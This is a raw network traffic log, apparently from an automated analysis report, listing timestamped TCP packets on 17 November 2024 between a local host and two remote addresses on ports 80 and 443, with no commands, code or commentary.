Nov 17, 2024 12:35:25.419583082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419614077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419647932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419660091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419660091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419682980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419776917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419807911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419842005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419876099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419909000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419939995 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419940948 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419943094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.420167923 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.447765112 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.447925091 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.448024035 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.448084116 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.448085070 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.448121071 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.448136091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448149920 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.448190928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448224068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448277950 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.448290110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448343039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448347092 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.448376894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448431969 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.448493004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448544025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448592901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448601961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.448628902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.448745966 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.448791027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.448906898 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.448959112 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.449589014 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.449605942 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.449620008 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.449625969 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.451761961 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.451796055 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.451956987 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.451972008 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.452001095 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.452122927 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.452135086 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.452145100 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.452348948 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.452368021 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.476141930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476172924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476202965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476229906 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.476394892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476455927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.476464033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476480007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476577997 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.476608038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476624012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476639986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476691008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.476802111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476818085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476839066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.476937056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.476937056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.477076054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.477091074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.477107048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.477195024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.517796040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.518838882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.518906116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.519057035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.519067049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.519108057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.519340992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531157017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531186104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531255007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531290054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531306982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531342030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531378031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531411886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531426907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531426907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531497002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531531096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531563997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531565905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531600952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531770945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.531953096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.531986952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.532021046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.532169104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.532169104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.532960892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533016920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533051014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533179045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533225060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533226967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533298969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533303022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533334970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533373117 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533389091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533422947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533456087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533459902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533540010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533557892 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533574104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533679008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533730030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533737898 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533762932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533799887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533871889 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533871889 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.533890009 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533925056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.533957958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534034014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534039974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534074068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534132004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534184933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534218073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534251928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534389019 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534389019 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534459114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534492970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534527063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534559965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534605026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534629107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534629107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.534641027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534794092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534827948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534859896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534892082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534936905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.534969091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535003901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535052061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535052061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535052061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535053015 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535105944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535142899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535186052 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535254002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535283089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535337925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535346985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535399914 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535463095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535470963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535504103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535537958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535571098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535602093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535604954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535619020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535640001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535674095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535676956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535726070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.535860062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535893917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535926104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.535999060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536039114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536067963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536099911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536134958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536161900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536161900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536169052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536189079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536254883 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536427975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536457062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536489964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536518097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536586046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536618948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536653042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536667109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536688089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536721945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536737919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536737919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.536772966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536806107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536840916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536875010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536906958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536940098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.536973000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537009001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537015915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537015915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537015915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537015915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537043095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537077904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537085056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537111044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537144899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537178993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537211895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537229061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537250042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537275076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537321091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537349939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537384987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537417889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537451982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537484884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537574053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537643909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537643909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.537643909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537643909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537844896 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.537954092 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.538095951 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.538157940 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.543505907 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.543708086 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.543827057 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.547142029 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.547157049 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.547168970 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.547173023 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.547382116 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.547382116 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.547410965 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.547432899 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.550607920 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.550626993 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.550702095 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.550870895 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.550889015 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.551017046 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.551027060 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.551065922 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.551130056 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.551139116 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.565246105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565299988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565332890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565344095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.565381050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.565592051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565642118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565690994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565700054 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.565726995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565756083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565812111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.565823078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565853119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.565988064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593141079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593166113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593179941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593204021 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593238115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593403101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593465090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593481064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593642950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593657017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593672991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593682051 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593682051 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593689919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593708992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593708992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593769073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.593858004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593983889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.593997955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594012976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594027042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594044924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594060898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594069004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.594069004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.594077110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.594111919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.594111919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.636327028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.636382103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.636416912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.636524916 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.648454905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648469925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648484945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648515940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648540974 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.648556948 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.648607969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648624897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648667097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.648768902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648783922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648799896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648816109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.648858070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.648858070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.649008036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.649022102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.649038076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.649051905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.649123907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.649123907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650006056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650032997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650046110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650082111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650145054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650161982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650207043 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650207043 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650229931 CET	80	49751	185.215.113.16	192.168.2.6
